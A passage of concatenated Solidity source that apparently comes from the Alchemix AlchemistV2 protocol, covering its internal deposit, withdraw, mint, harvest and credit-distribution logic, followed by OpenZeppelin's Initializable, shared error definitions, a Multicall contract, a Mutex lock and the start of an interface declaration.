_checkState(harvestableAmount != 0);
address underlyingToken = yieldTokenParams.underlyingToken;
uint256 amountUnderlyingTokens = _unwrap(yieldToken, harvestableAmount, address(this), minimumAmountOut);
// Calculate how much of the unwrapped underlying tokens will be allocated for fees and distributed to users.
uint256 feeAmount = amountUnderlyingTokens * protocolFee / BPS;
uint256 distributeAmount = amountUnderlyingTokens - feeAmount;
uint256 credit = _normalizeUnderlyingTokensToDebt(underlyingToken, distributeAmount);
// Distribute credit to all of the users who hold shares of the yield token.
_distributeCredit(yieldToken, credit);
// Transfer the tokens to the fee receiver and transmuter.
TokenUtils.safeTransfer(underlyingToken, protocolFeeReceiver, feeAmount);
TokenUtils.safeTransfer(underlyingToken, transmuter, distributeAmount);
// Inform the transmuter that it has received tokens.
IERC20TokenReceiver(transmuter).onERC20Received(underlyingToken, distributeAmount);
emit Harvest(yieldToken, minimumAmountOut, amountUnderlyingTokens);
}
/// @dev Checks that the `msg.sender` is the administrator.
///
/// @dev `msg.sender` must be the administrator or this call will revert with an {Unauthorized} error.
function _onlyAdmin() internal view {
if (msg.sender != admin) {
revert Unauthorized();
}
}
/// @dev Checks that the `msg.sender` is the administrator or a sentinel.
///
/// @dev `msg.sender` must be either the administrator or a sentinel or this call will revert with an
/// {Unauthorized} error.
function _onlySentinelOrAdmin() internal view {
// Check if the message sender is the administrator.
if (msg.sender == admin) {
return;
}
// Check if the message sender is a sentinel. After this check we can revert since we know that it is neither
// the administrator or a sentinel.
if (!sentinels[msg.sender]) {
revert Unauthorized();
}
}
/// @dev Checks that the `msg.sender` is a keeper.
///
/// @dev `msg.sender` must be a keeper or this call will revert with an {Unauthorized} error.
function _onlyKeeper() internal view {
if (!keepers[msg.sender]) {
revert Unauthorized();
}
}
/// @dev Preemptively harvests all of the yield tokens that have been deposited into an account.
///
/// @param owner The address which owns the account.
function _preemptivelyHarvestDeposited(address owner) internal {
Sets.AddressSet storage depositedTokens = _accounts[owner].depositedTokens;
for (uint256 i = 0; i < depositedTokens.values.length; i++) {
_preemptivelyHarvest(depositedTokens.values[i]);
}
}
/// @dev Preemptively harvests `yieldToken`.
///
/// @dev This will earmark yield tokens to be harvested at a future time when the current value of the token is
/// greater than the expected value. The purpose of this function is to synchronize the balance of the yield
/// token which is held by users versus tokens which will be seized by the protocol.
///
/// @param yieldToken The address of the yield token to preemptively harvest.
function _preemptivelyHarvest(address yieldToken) internal {
uint256 activeBalance = _yieldTokens[yieldToken].activeBalance;
if (activeBalance == 0) {
return;
}
uint256 currentValue = _convertYieldTokensToUnderlying(yieldToken, activeBalance);
uint256 expectedValue = _yieldTokens[yieldToken].expectedValue;
if (currentValue <= expectedValue) {
return;
}
uint256 harvestable = _convertUnderlyingTokensToYield(yieldToken, currentValue - expectedValue);
if (harvestable == 0) {
return;
}
_yieldTokens[yieldToken].activeBalance -= harvestable;
_yieldTokens[yieldToken].harvestableBalance += harvestable;
}
/// @dev Checks if a yield token is enabled.
///
/// @param yieldToken The address of the yield token.
function _checkYieldTokenEnabled(address yieldToken) internal view {
if (!_yieldTokens[yieldToken].enabled) {
revert TokenDisabled(yieldToken);
}
}
/// @dev Checks if an underlying token is enabled.
///
/// @param underlyingToken The address of the underlying token.
function _checkUnderlyingTokenEnabled(address underlyingToken) internal view {
if (!_underlyingTokens[underlyingToken].enabled) {
revert TokenDisabled(underlyingToken);
}
}
/// @dev Checks if an address is a supported yield token.
///
/// If the address is not a supported yield token, this function will revert using a {UnsupportedToken} error.
///
/// @param yieldToken The address to check.
function _checkSupportedYieldToken(address yieldToken) internal view {
if (!_supportedYieldTokens.contains(yieldToken)) {
revert UnsupportedToken(yieldToken);
}
}
/// @dev Checks if an address is a supported underlying token.
///
/// If the address is not a supported yield token, this function will revert using a {UnsupportedToken} error.
///
/// @param underlyingToken The address to check.
function _checkSupportedUnderlyingToken(address underlyingToken) internal view {
if (!_supportedUnderlyingTokens.contains(underlyingToken)) {
revert UnsupportedToken(underlyingToken);
}
}
/// @dev Checks if `amount` of debt tokens can be minted.
///
/// @dev `amount` must be less than the current minting limit or this call will revert with a
/// {MintingLimitExceeded} error.
///
/// @param amount The amount to check.
function _checkMintingLimit(uint256 amount) internal view {
uint256 limit = _mintingLimiter.get();
if (amount > limit) {
revert MintingLimitExceeded(amount, limit);
}
}
/// @dev Checks if the current loss of `yieldToken` has exceeded its maximum acceptable loss.
///
/// @dev The loss that `yieldToken` has incurred must be less than its maximum accepted value or this call will
/// revert with a {LossExceeded} error.
///
/// @param yieldToken The address of the yield token.
function _checkLoss(address yieldToken) internal view {
uint256 loss = _loss(yieldToken);
uint256 maximumLoss = _yieldTokens[yieldToken].maximumLoss;
if (loss > maximumLoss) {
revert LossExceeded(yieldToken, loss, maximumLoss);
}
}
/// @dev Deposits `amount` yield tokens into the account of `recipient`.
///
/// @dev Emits a {Deposit} event.
///
/// @param yieldToken The address of the yield token to deposit.
/// @param amount The amount of yield tokens to deposit.
/// @param recipient The recipient of the yield tokens.
///
/// @return The number of shares minted to `recipient`.
function _deposit(
address yieldToken,
uint256 amount,
address recipient
) internal returns (uint256) {
_checkArgument(amount > 0);
YieldTokenParams storage yieldTokenParams = _yieldTokens[yieldToken];
address underlyingToken = yieldTokenParams.underlyingToken;
// Check that the yield token and it's underlying token are enabled. Disabling the yield token and or the
// underlying token prevents the system from holding more of the disabled yield token or underlying token.
_checkYieldTokenEnabled(yieldToken);
_checkUnderlyingTokenEnabled(underlyingToken);
// Check to assure that the token has not experienced a sudden unexpected loss. This prevents users from being
// able to deposit funds and then have them siphoned if the price recovers.
_checkLoss(yieldToken);
// Buffers any harvestable yield tokens. This will properly synchronize the balance which is held by users
// and the balance which is held by the system to eventually be harvested.
_preemptivelyHarvest(yieldToken);
// Distribute unlocked credit to depositors.
_distributeUnlockedCreditDeposited(recipient);
// Update the recipient's account, proactively issue shares for the deposited tokens to the recipient, and then
// increase the value of the token that the system is expected to hold.
_poke(recipient, yieldToken);
uint256 shares = _issueSharesForAmount(recipient, yieldToken, amount);
_sync(yieldToken, amount, _uadd);
// Check that the maximum expected value has not been breached.
uint256 maximumExpectedValue = yieldTokenParams.maximumExpectedValue;
if (yieldTokenParams.expectedValue > maximumExpectedValue) {
revert ExpectedValueExceeded(yieldToken, amount, maximumExpectedValue);
}
emit Deposit(msg.sender, yieldToken, amount, recipient);
return shares;
}
/// @dev Withdraw `yieldToken` from the account owned by `owner` by burning shares and receiving yield tokens of
/// equivalent value.
///
/// @dev Emits a {Withdraw} event.
///
/// @param yieldToken The address of the yield token to withdraw.
/// @param owner The address of the account owner to withdraw from.
/// @param shares The number of shares to burn.
/// @param recipient The recipient of the withdrawn shares. This parameter is only used for logging.
///
/// @return The amount of yield tokens that the burned shares were exchanged for.
function _withdraw(
address yieldToken,
address owner,
uint256 shares,
address recipient
) internal returns (uint256) {
// Buffers any harvestable yield tokens that the owner of the account has deposited. This will properly
// synchronize the balance of all the tokens held by the owner so that the validation check properly
// computes the total value of the tokens held by the owner.
_preemptivelyHarvestDeposited(owner);
// Distribute unlocked credit for all of the tokens that the user has deposited into the system. This updates
// the accrued weights so that the debt is properly calculated before the account is validated.
_distributeUnlockedCreditDeposited(owner);
uint256 amountYieldTokens = _convertSharesToYieldTokens(yieldToken, shares);
// Update the owner's account, burn shares from the owner's account, and then decrease the value of the token
// that the system is expected to hold.
_poke(owner);
_burnShares(owner, yieldToken, shares);
_sync(yieldToken, amountYieldTokens, _usub);
// Valid the owner's account to assure that the collateralization invariant is still held.
_validate(owner);
emit Withdraw(owner, yieldToken, shares, recipient);
return amountYieldTokens;
}
/// @dev Mints debt tokens to `recipient` using the account owned by `owner`.
///
/// @dev Emits a {Mint} event.
///
/// @param owner The owner of the account to mint from.
/// @param amount The amount to mint.
/// @param recipient The recipient of the minted debt tokens.
function _mint(address owner, uint256 amount, address recipient) internal {
// Check that the system will allow for the specified amount to be minted.
_checkMintingLimit(amount);
// Preemptively harvest all tokens that the user has deposited into the system. This allows the debt to be
// properly calculated before the account is validated.
_preemptivelyHarvestDeposited(owner);
// Distribute unlocked credit for all of the tokens that the user has deposited into the system. This updates
// the accrued weights so that the debt is properly calculated before the account is validated.
_distributeUnlockedCreditDeposited(owner);
// Update the owner's account, increase their debt by the amount of tokens to mint, and then finally validate
// their account to assure that the collateralization invariant is still held.
_poke(owner);
_updateDebt(owner, SafeCast.toInt256(amount));
_validate(owner);
// Decrease the global amount of mintable debt tokens.
_mintingLimiter.decrease(amount);
// Mint the debt tokens to the recipient.
TokenUtils.safeMint(debtToken, recipient, amount);
emit Mint(owner, amount, recipient);
}
/// @dev Synchronizes the active balance and expected value of `yieldToken`.
///
/// @param yieldToken The address of the yield token.
/// @param amount The amount to add or subtract from the debt.
/// @param operation The mathematical operation to perform for the update. Either one of {_uadd} or {_usub}.
function _sync(
address yieldToken,
uint256 amount,
function(uint256, uint256) internal pure returns (uint256) operation
) internal {
YieldTokenParams memory yieldTokenParams = _yieldTokens[yieldToken];
uint256 amountUnderlyingTokens = _convertYieldTokensToUnderlying(yieldToken, amount);
uint256 updatedActiveBalance = operation(yieldTokenParams.activeBalance, amount);
uint256 updatedExpectedValue = operation(yieldTokenParams.expectedValue, amountUnderlyingTokens);
_yieldTokens[yieldToken].activeBalance = updatedActiveBalance;
_yieldTokens[yieldToken].expectedValue = updatedExpectedValue;
}
/// @dev Gets the amount of loss that `yieldToken` has incurred measured in basis points. When the expected
/// underlying value is less than the actual value, this will return zero.
///
/// @param yieldToken The address of the yield token.
///
/// @return The loss in basis points.
function _loss(address yieldToken) internal view returns (uint256) {
YieldTokenParams memory yieldTokenParams = _yieldTokens[yieldToken];
uint256 amountUnderlyingTokens = _convertYieldTokensToUnderlying(yieldToken, yieldTokenParams.activeBalance);
uint256 expectedUnderlyingValue = yieldTokenParams.expectedValue;
return expectedUnderlyingValue > amountUnderlyingTokens
? ((expectedUnderlyingValue - amountUnderlyingTokens) * BPS) / expectedUnderlyingValue
: 0;
}
/// @dev Distributes `amount` credit to all depositors of `yieldToken`.
///
/// @param yieldToken The address of the yield token to distribute credit for.
/// @param amount The amount of credit to distribute in debt tokens.
function _distributeCredit(address yieldToken, uint256 amount) internal {
YieldTokenParams storage yieldTokenParams = _yieldTokens[yieldToken];
uint256 pendingCredit = yieldTokenParams.pendingCredit;
uint256 distributedCredit = yieldTokenParams.distributedCredit;
uint256 unlockedCredit = _calculateUnlockedCredit(yieldToken);
uint256 lockedCredit = pendingCredit - (distributedCredit + unlockedCredit);
// Distribute any unlocked credit before overriding it.
if (unlockedCredit > 0) {
yieldTokenParams.accruedWeight += unlockedCredit * FIXED_POINT_SCALAR / yieldTokenParams.totalShares;
}
yieldTokenParams.pendingCredit = amount + lockedCredit;
yieldTokenParams.distributedCredit = 0;
yieldTokenParams.lastDistributionBlock = block.number;
}
/// @dev Distributes unlocked credit for all of the yield tokens that have been deposited into the account owned
/// by `owner`.
///
/// @param owner The address of the account owner.
function _distributeUnlockedCreditDeposited(address owner) internal {
Sets.AddressSet storage depositedTokens = _accounts[owner].depositedTokens;
for (uint256 i = 0; i < depositedTokens.values.length; i++) {
_distributeUnlockedCredit(depositedTokens.values[i]);
}
}
/// @dev Distributes unlocked credit of `yieldToken` to all depositors.
///
/// @param yieldToken The address of the yield token to distribute unlocked credit for.
function _distributeUnlockedCredit(address yieldToken) internal {
YieldTokenParams storage yieldTokenParams = _yieldTokens[yieldToken];
uint256 unlockedCredit = _calculateUnlockedCredit(yieldToken);
if (unlockedCredit == 0) {
return;
}
yieldTokenParams.accruedWeight += unlockedCredit * FIXED_POINT_SCALAR / yieldTokenParams.totalShares;
yieldTokenParams.distributedCredit += unlockedCredit;
}
/// @dev Wraps `amount` of an underlying token into its `yieldToken`.
///
/// @param yieldToken The address of the yield token to wrap the underlying tokens into.
/// @param amount The amount of the underlying token to wrap.
/// @param minimumAmountOut The minimum amount of yield tokens that are expected to be received from the operation.
///
/// @return The amount of yield tokens that resulted from the operation.
function _wrap(
address yieldToken,
uint256 amount,
uint256 minimumAmountOut
) internal returns (uint256) {
YieldTokenParams storage yieldTokenParams = _yieldTokens[yieldToken];
ITokenAdapter adapter = ITokenAdapter(yieldTokenParams.adapter);
address underlyingToken = yieldTokenParams.underlyingToken;
TokenUtils.safeTransferFrom(underlyingToken, msg.sender, address(this), amount);
uint256 wrappedShares = adapter.wrap(amount, address(this));
if (wrappedShares < minimumAmountOut) {
revert SlippageExceeded(wrappedShares, minimumAmountOut);
}
return wrappedShares;
}
/// @dev Unwraps `amount` of `yieldToken` into its underlying token.
///
/// @param yieldToken The address of the yield token to unwrap.
/// @param amount The amount of the underlying token to wrap.
/// @param minimumAmountOut The minimum amount of underlying tokens that are expected to be received from the
/// operation.
///
/// @return The amount of underlying tokens that resulted from the operation.
function _unwrap(
address yieldToken,
uint256 amount,
address recipient,
uint256 minimumAmountOut
) internal returns (uint256) {
ITokenAdapter adapter = ITokenAdapter(_yieldTokens[yieldToken].adapter);
uint256 amountUnwrapped = adapter.unwrap(amount, recipient);
if (amountUnwrapped < minimumAmountOut) {
revert SlippageExceeded(amountUnwrapped, minimumAmountOut);
}
return amountUnwrapped;
}
/// @dev Synchronizes the state for all of the tokens deposited in the account owned by `owner`.
///
/// @param owner The address of the account owner.
function _poke(address owner) internal {
Sets.AddressSet storage depositedTokens = _accounts[owner].depositedTokens;
for (uint256 i = 0; i < depositedTokens.values.length; i++) {
_poke(owner, depositedTokens.values[i]);
}
}
/// @dev Synchronizes the state of `yieldToken` for the account owned by `owner`.
///
/// @param owner The address of the account owner.
/// @param yieldToken The address of the yield token to synchronize the state for.
function _poke(address owner, address yieldToken) internal {
Account storage account = _accounts[owner];
uint256 currentAccruedWeight = _yieldTokens[yieldToken].accruedWeight;
uint256 lastAccruedWeight = account.lastAccruedWeights[yieldToken];
if (currentAccruedWeight == lastAccruedWeight) {
return;
}
uint256 balance = account.balances[yieldToken];
uint256 unrealizedCredit = (currentAccruedWeight - lastAccruedWeight) * balance / FIXED_POINT_SCALAR;
account.debt -= SafeCast.toInt256(unrealizedCredit);
account.lastAccruedWeights[yieldToken] = currentAccruedWeight;
}
/// @dev Increases the debt by `amount` for the account owned by `owner`.
///
/// @param owner The address of the account owner.
/// @param amount The amount to increase the debt by.
function _updateDebt(address owner, int256 amount) internal {
Account storage account = _accounts[owner];
account.debt += amount;
}
/// @dev Set the mint allowance for `spender` to `amount` for the account owned by `owner`.
///
/// @param owner The address of the account owner.
/// @param spender The address of the spender.
/// @param amount The amount of debt tokens to set the mint allowance to.
function _approveMint(address owner, address spender, uint256 amount) internal {
Account storage account = _accounts[owner];
account.mintAllowances[spender] = amount;
emit ApproveMint(owner, spender, amount);
}
/// @dev Decrease the mint allowance for `spender` by `amount` for the account owned by `owner`.
///
/// @param owner The address of the account owner.
/// @param spender The address of the spender.
/// @param amount The amount of debt tokens to decrease the mint allowance by.
function _decreaseMintAllowance(address owner, address spender, uint256 amount) internal {
Account storage account = _accounts[owner];
account.mintAllowances[spender] -= amount;
}
/// @dev Set the withdraw allowance of `yieldToken` for `spender` to `shares` for the account owned by `owner`.
///
/// @param owner The address of the account owner.
/// @param spender The address of the spender.
/// @param yieldToken The address of the yield token to set the withdraw allowance for.
/// @param shares The amount of shares to set the withdraw allowance to.
function _approveWithdraw(address owner, address spender, address yieldToken, uint256 shares) internal {
Account storage account = _accounts[owner];
account.withdrawAllowances[spender][yieldToken] = shares;
emit ApproveWithdraw(owner, spender, yieldToken, shares);
}
/// @dev Decrease the withdraw allowance of `yieldToken` for `spender` by `amount` for the account owned by `owner`.
///
/// @param owner The address of the account owner.
/// @param spender The address of the spender.
/// @param yieldToken The address of the yield token to decrease the withdraw allowance for.
/// @param amount The amount of shares to decrease the withdraw allowance by.
function _decreaseWithdrawAllowance(address owner, address spender, address yieldToken, uint256 amount) internal {
Account storage account = _accounts[owner];
account.withdrawAllowances[spender][yieldToken] -= amount;
}
/// @dev Checks that the account owned by `owner` is properly collateralized.
///
/// @dev If the account is undercollateralized then this will revert with an {Undercollateralized} error.
///
/// @param owner The address of the account owner.
function _validate(address owner) internal view {
int256 debt = _accounts[owner].debt;
if (debt <= 0) {
return;
}
uint256 collateralization = _totalValue(owner) * FIXED_POINT_SCALAR / uint256(debt);
if (collateralization < minimumCollateralization) {
revert Undercollateralized();
}
}
/// @dev Gets the total value of the deposit collateral measured in debt tokens of the account owned by `owner`.
///
/// @param owner The address of the account owner.
///
/// @return The total value.
function _totalValue(address owner) internal view returns (uint256) {
uint256 totalValue = 0;
Sets.AddressSet storage depositedTokens = _accounts[owner].depositedTokens;
for (uint256 i = 0; i < depositedTokens.values.length; i++) {
address yieldToken = depositedTokens.values[i];
address underlyingToken = _yieldTokens[yieldToken].underlyingToken;
uint256 shares = _accounts[owner].balances[yieldToken];
uint256 amountUnderlyingTokens = _convertSharesToUnderlyingTokens(yieldToken, shares);
totalValue += _normalizeUnderlyingTokensToDebt(underlyingToken, amountUnderlyingTokens);
}
return totalValue;
}
/// @dev Issues shares of `yieldToken` for `amount` of its underlying token to `recipient`.
///
/// IMPORTANT: `amount` must never be 0.
///
/// @param recipient The address of the recipient.
/// @param yieldToken The address of the yield token.
/// @param amount The amount of the underlying token.
///
/// @return The amount of shares issued to `recipient`.
function _issueSharesForAmount(
address recipient,
address yieldToken,
uint256 amount
) internal returns (uint256) {
uint256 shares = _convertYieldTokensToShares(yieldToken, amount);
if (_accounts[recipient].balances[yieldToken] == 0) {
_accounts[recipient].depositedTokens.add(yieldToken);
}
_accounts[recipient].balances[yieldToken] += shares;
_yieldTokens[yieldToken].totalShares += shares;
return shares;
}
/// @dev Burns `share` shares of `yieldToken` from the account owned by `owner`.
///
/// @param owner The address of the owner.
/// @param yieldToken The address of the yield token.
/// @param shares The amount of shares to burn.
function _burnShares(address owner, address yieldToken, uint256 shares) internal {
Account storage account = _accounts[owner];
account.balances[yieldToken] -= shares;
_yieldTokens[yieldToken].totalShares -= shares;
if (account.balances[yieldToken] == 0) {
account.depositedTokens.remove(yieldToken);
}
}
/// @dev Gets the amount of debt that the account owned by `owner` will have after an update occurs.
///
/// @param owner The address of the account owner.
///
/// @return The amount of debt that the account owned by `owner` will have after an update.
function _calculateUnrealizedDebt(address owner) internal view returns (int256) {
int256 debt = _accounts[owner].debt;
Sets.AddressSet storage depositedTokens = _accounts[owner].depositedTokens;
for (uint256 i = 0; i < depositedTokens.values.length; i++) {
address yieldToken = depositedTokens.values[i];
uint256 currentAccruedWeight = _yieldTokens[yieldToken].accruedWeight;
uint256 lastAccruedWeight = _accounts[owner].lastAccruedWeights[yieldToken];
uint256 unlockedCredit = _calculateUnlockedCredit(yieldToken);
currentAccruedWeight += unlockedCredit > 0
? unlockedCredit * FIXED_POINT_SCALAR / _yieldTokens[yieldToken].totalShares
: 0;
if (currentAccruedWeight == lastAccruedWeight) {
continue;
}
uint256 balance = _accounts[owner].balances[yieldToken];
uint256 unrealizedCredit = ((currentAccruedWeight - lastAccruedWeight) * balance) / FIXED_POINT_SCALAR;
debt -= SafeCast.toInt256(unrealizedCredit);
}
return debt;
}
/// @dev Gets the virtual active balance of `yieldToken`.
///
/// @dev The virtual active balance is the active balance minus any harvestable tokens which have yet to be realized.
///
/// @param yieldToken The address of the yield token to get the virtual active balance of.
///
/// @return The virtual active balance.
function _calculateUnrealizedActiveBalance(address yieldToken) internal view returns (uint256) {
YieldTokenParams storage yieldTokenParams = _yieldTokens[yieldToken];
uint256 activeBalance = yieldTokenParams.activeBalance;
if (activeBalance == 0) {
return activeBalance;
}
uint256 currentValue = _convertYieldTokensToUnderlying(yieldToken, activeBalance);
uint256 expectedValue = yieldTokenParams.expectedValue;
if (currentValue <= expectedValue) {
return activeBalance;
}
uint256 harvestable = _convertUnderlyingTokensToYield(yieldToken, currentValue - expectedValue);
if (harvestable == 0) {
return activeBalance;
}
return activeBalance - harvestable;
}
/// @dev Calculates the amount of unlocked credit for `yieldToken` that is available for distribution.
///
/// @param yieldToken The address of the yield token.
///
/// @return The amount of unlocked credit available.
function _calculateUnlockedCredit(address yieldToken) internal view returns (uint256) {
YieldTokenParams storage yieldTokenParams = _yieldTokens[yieldToken];
uint256 pendingCredit = yieldTokenParams.pendingCredit;
if (pendingCredit == 0) {
return 0;
}
uint256 creditUnlockRate = yieldTokenParams.creditUnlockRate;
uint256 distributedCredit = yieldTokenParams.distributedCredit;
uint256 lastDistributionBlock = yieldTokenParams.lastDistributionBlock;
uint256 percentUnlocked = (block.number - lastDistributionBlock) * creditUnlockRate;
return percentUnlocked < FIXED_POINT_SCALAR
? (pendingCredit * percentUnlocked / FIXED_POINT_SCALAR) - distributedCredit
: pendingCredit - distributedCredit;
}
/// @dev Gets the amount of shares that `amount` of `yieldToken` is exchangeable for.
///
/// @param yieldToken The address of the yield token.
/// @param amount The amount of yield tokens.
///
/// @return The number of shares.
function _convertYieldTokensToShares(address yieldToken, uint256 amount) internal view returns (uint256) {
if (_yieldTokens[yieldToken].totalShares == 0) {
return amount;
}
return amount * _yieldTokens[yieldToken].totalShares / _calculateUnrealizedActiveBalance(yieldToken);
}
/// @dev Gets the amount of yield tokens that `shares` shares of `yieldToken` is exchangeable for.
///
/// @param yieldToken The address of the yield token.
/// @param shares The amount of shares.
///
/// @return The amount of yield tokens.
function _convertSharesToYieldTokens(address yieldToken, uint256 shares) internal view returns (uint256) {
uint256 totalShares = _yieldTokens[yieldToken].totalShares;
if (totalShares == 0) {
return shares;
}
return (shares * _calculateUnrealizedActiveBalance(yieldToken)) / totalShares;
}
/// @dev Gets the amount of underlying tokens that `shares` shares of `yieldToken` is exchangeable for.
///
/// @param yieldToken The address of the yield token.
/// @param shares The amount of shares.
///
/// @return The amount of underlying tokens.
function _convertSharesToUnderlyingTokens(address yieldToken, uint256 shares) internal view returns (uint256) {
uint256 amountYieldTokens = _convertSharesToYieldTokens(yieldToken, shares);
return _convertYieldTokensToUnderlying(yieldToken, amountYieldTokens);
}
/// @dev Gets the amount of an underlying token that `amount` of `yieldToken` is exchangeable for.
///
/// @param yieldToken The address of the yield token.
/// @param amount The amount of yield tokens.
///
/// @return The amount of underlying tokens.
function _convertYieldTokensToUnderlying(address yieldToken, uint256 amount) internal view returns (uint256) {
YieldTokenParams storage yieldTokenParams = _yieldTokens[yieldToken];
ITokenAdapter adapter = ITokenAdapter(yieldTokenParams.adapter);
return amount * adapter.price() / 10**yieldTokenParams.decimals;
}
/// @dev Gets the amount of `yieldToken` that `amount` of its underlying token is exchangeable for.
///
/// @param yieldToken The address of the yield token.
/// @param amount The amount of underlying tokens.
///
/// @return The amount of yield tokens.
function _convertUnderlyingTokensToYield(address yieldToken, uint256 amount) internal view returns (uint256) {
YieldTokenParams storage yieldTokenParams = _yieldTokens[yieldToken];
ITokenAdapter adapter = ITokenAdapter(yieldTokenParams.adapter);
return amount * 10**yieldTokenParams.decimals / adapter.price();
}
/// @dev Gets the amount of shares of `yieldToken` that `amount` of its underlying token is exchangeable for.
///
/// @param yieldToken The address of the yield token.
/// @param amount The amount of underlying tokens.
///
/// @return The amount of shares.
function _convertUnderlyingTokensToShares(address yieldToken, uint256 amount) internal view returns (uint256) {
uint256 amountYieldTokens = _convertUnderlyingTokensToYield(yieldToken, amount);
return _convertYieldTokensToShares(yieldToken, amountYieldTokens);
}
/// @dev Normalize `amount` of `underlyingToken` to a value which is comparable to units of the debt token.
///
/// @param underlyingToken The address of the underlying token.
/// @param amount The amount of the debt token.
///
/// @return The normalized amount.
function _normalizeUnderlyingTokensToDebt(address underlyingToken, uint256 amount) internal view returns (uint256) {
return amount * _underlyingTokens[underlyingToken].conversionFactor;
}
/// @dev Normalize `amount` of the debt token to a value which is comparable to units of `underlyingToken`.
///
/// @dev This operation will result in truncation of some of the least significant digits of `amount`. This
/// truncation amount will be the least significant N digits where N is the difference in decimals between
/// the debt token and the underlying token.
///
/// @param underlyingToken The address of the underlying token.
/// @param amount The amount of the debt token.
///
/// @return The normalized amount.
function _normalizeDebtTokensToUnderlying(address underlyingToken, uint256 amount) internal view returns (uint256) {
return amount / _underlyingTokens[underlyingToken].conversionFactor;
}
/// @dev Checks the whitelist for msg.sender.
///
/// Reverts if msg.sender is not in the whitelist.
function _onlyWhitelisted() internal view {
// Check if the message sender is an EOA. In the future, this potentially may break. It is important that functions
// which rely on the whitelist not be explicitly vulnerable in the situation where this no longer holds true.
if (tx.origin == msg.sender) {
return;
}
// Only check the whitelist for calls from contracts.
if (!IWhitelist(whitelist).isWhitelisted(msg.sender)) {
revert Unauthorized();
}
}
/// @dev Checks an expression and reverts with an {IllegalArgument} error if the expression is {false}.
///
/// @param expression The expression to check.
function _checkArgument(bool expression) internal pure {
if (!expression) {
revert IllegalArgument();
}
}
/// @dev Checks an expression and reverts with an {IllegalState} error if the expression is {false}.
///
/// @param expression The expression to check.
function _checkState(bool expression) internal pure {
if (!expression) {
revert IllegalState();
}
}
/// @dev Adds two unsigned 256 bit integers together and returns the result.
///
/// @dev This operation is checked and will fail if the result overflows.
///
/// @param x The first operand.
/// @param y The second operand.
///
/// @return z The result.
function _uadd(uint256 x, uint256 y) internal pure returns (uint256 z) { z = x + y; }
/// @dev Subtracts two unsigned 256 bit integers together and returns the result.
///
/// @dev This operation is checked and will fail if the result overflows.
///
/// @param x The first operand.
/// @param y The second operand.
///
/// @return z the result.
function _usub(uint256 x, uint256 y) internal pure returns (uint256 z) { z = x - y; }
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (proxy/utils/Initializable.sol)
pragma solidity ^0.8.0;
import "../../utils/AddressUpgradeable.sol";
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*
* [CAUTION]
* ====
* Avoid leaving a contract uninitialized.
*
* An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation
* contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the
* initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed:
*
* [.hljs-theme-light.nopadding]
* ```
* /// @custom:oz-upgrades-unsafe-allow constructor
* constructor() initializer {}
* ```
* ====
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
// If the contract is initializing we ignore whether _initialized is set in order to support multiple
// inheritance patterns, but we only do this in the context of a constructor, because in other contexts the
// contract may have been reentered.
require(_initializing ? _isConstructor() : !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
/**
* @dev Modifier to protect an initialization function so that it can only be invoked by functions with the
* {initializer} modifier, directly or indirectly.
*/
modifier onlyInitializing() {
require(_initializing, "Initializable: contract is not initializing");
_;
}
function _isConstructor() private view returns (bool) {
return !AddressUpgradeable.isContract(address(this));
}
}
pragma solidity ^0.8.11;
/// @notice An error used to indicate that an action could not be completed because either the `msg.sender` or
/// `msg.origin` is not authorized.
error Unauthorized();
/// @notice An error used to indicate that an action could not be completed because the contract either already existed
/// or entered an illegal condition which is not recoverable from.
error IllegalState();
/// @notice An error used to indicate that an action could not be completed because of an illegal argument was passed
/// to the function.
error IllegalArgument();
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity ^0.8.11;
import "../interfaces/IMulticall.sol";
/// @title Multicall
/// @author Uniswap Labs
///
/// @notice Enables calling multiple methods in a single call to the contract
abstract contract Multicall is IMulticall {
/// @inheritdoc IMulticall
function multicall(bytes[] calldata data) external payable override returns (bytes[] memory results) {
results = new bytes[](data.length);
for (uint256 i = 0; i < data.length; i++) {
(bool success, bytes memory result) = address(this).delegatecall(data[i]);
if (!success) {
revert MulticallFailed(data[i], result);
}
results[i] = result;
}
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity ^0.8.11;
/// @title Mutex
/// @author Alchemix Finance
///
/// @notice Provides a mutual exclusion lock for implementing contracts.
abstract contract Mutex {
/// @notice An error which is thrown when a lock is attempted to be claimed before it has been freed.
error LockAlreadyClaimed();
/// @notice The lock state. Non-zero values indicate the lock has been claimed.
uint256 private _lockState;
/// @dev A modifier which acquires the mutex.
modifier lock() {
_claimLock();
_;
_freeLock();
}
/// @dev Gets if the mutex is locked.
///
/// @return if the mutex is locked.
function _isLocked() internal returns (bool) {
return _lockState == 1;
}
/// @dev Claims the lock. If the lock is already claimed, then this will revert.
function _claimLock() internal {
// Check that the lock has not been claimed yet.
if (_lockState != 0) {
revert LockAlreadyClaimed();
}
// Claim the lock.
_lockState = 1;
}
/// @dev Frees the lock.
function _freeLock() internal {
_lockState = 0;
}
}
pragma solidity >=0.5.0;
import "./alchemist/IAlchemistV2Actions.sol";
import "./alchemist/IAlchemistV2AdminActions.sol";
import "./alchemist/IAlchemistV2Errors.sol";
import "./alchemist/IAlchemistV2Immutables.sol";
import "./alchemist/IAlchemistV2Events.sol";
import "./alchemist/IAlchemistV2State.sol";
/// @title IAlchemistV2
/// @author Alchemix Finance
interface IAlchemistV2 is
IAlchemistV2Actions,
IAlchemistV2AdminActions,
IAlchemistV2Errors,
